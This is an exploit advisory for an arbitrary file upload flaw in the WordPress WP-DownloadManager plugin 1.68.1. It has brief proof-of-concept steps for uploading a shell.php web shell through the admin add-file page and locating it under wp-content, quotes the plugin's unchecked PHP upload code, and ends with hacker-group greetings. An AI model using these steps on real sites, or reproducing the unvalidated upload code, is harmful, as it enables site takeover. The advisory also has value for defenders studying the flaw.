###################### # Exploit Title : WordPress WP-DownloadManager Plugin 1.68.1 - Arbitrary File Upload # Exploit Author : Persian Hack Team # Vendor Homepage : https://wordpress.org/plugins/wp-downloadmanager/ # Category: [ Webapps ] # Tested on: [ Win ] # Version: 1.68.1 # Date: 2016/07/10 ###################### # # PoC: # Unrestricted File Upload In Admin Panel You Can Upload shell.php  # http://localhost/wp/wp-admin/admin.php?page=wp-downloadmanager/download-add.php # Find Shell Here : http://localhost/wp/wp-content/files/shell.php   ================  Vulnerable code ================   switch( $_POST['do'] ) {         // Add File         case __('Add File', 'wp-downloadmanager'):             $file_type = ! empty( $_POST['file_type']) ? intval( $_POST['file_type'] ) : 0;             switch($file_type) {                 case 0:                     $file = ! empty( $_POST['file'] ) ? addslashes( wp_kses_post( trim( $_POST['file'] ) ) ) : '';                     $file = download_rename_file($file_path, $file);                     $file_size = filesize($file_path.$file);                     break;                 case 1:                     if($_FILES['file_upload']['size'] > get_max_upload_size()) {                         $text = '<p style="color: red;">'.sprintf(__('File Size Too Large. Maximum Size Is %s', 'wp-downloadmanager'), format_filesize(get_max_upload_size())).'</p>';                         break;                     } else {                         if(is_uploaded_file($_FILES['file_upload']['tmp_name'])) {                             $file_upload_to = ! empty( $_POST['file_upload_to'] ) ? $_POST['file_upload_to'] : '';                             if( $file_upload_to !== '/' ) {                                 $file_upload_to = $file_upload_to . '/';                             }                             if(move_uploaded_file($_FILES['file_upload']['tmp_name'], $file_path.$file_upload_to.basename($_FILES['file_upload']['name']))) {                                 $file = $file_upload_to.basename($_FILES['file_upload']['name']);                                 $file = download_rename_file($file_path, $file);                                 $file_size = filesize($file_path.$file);                             } else {                                 $text = '<p style="color: red;">'.__('Error In Uploading File', 'wp-downloadmanager').'</p>';                                 break;                             }                         } else {                             $text = '<p style="color: red;">'.__('Error In Uploading File', 'wp-downloadmanager').'</p>';                             break;                         }                     }                     break;                                         }                                                   }     }   }     }       # ###################### # Discovered by :  Mojtaba MobhaM  # Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi &  Milad Hacking & JOK3R & MR.IMAN And All Persian Hack Team Members # Homepage : http://persian-team.ir ######################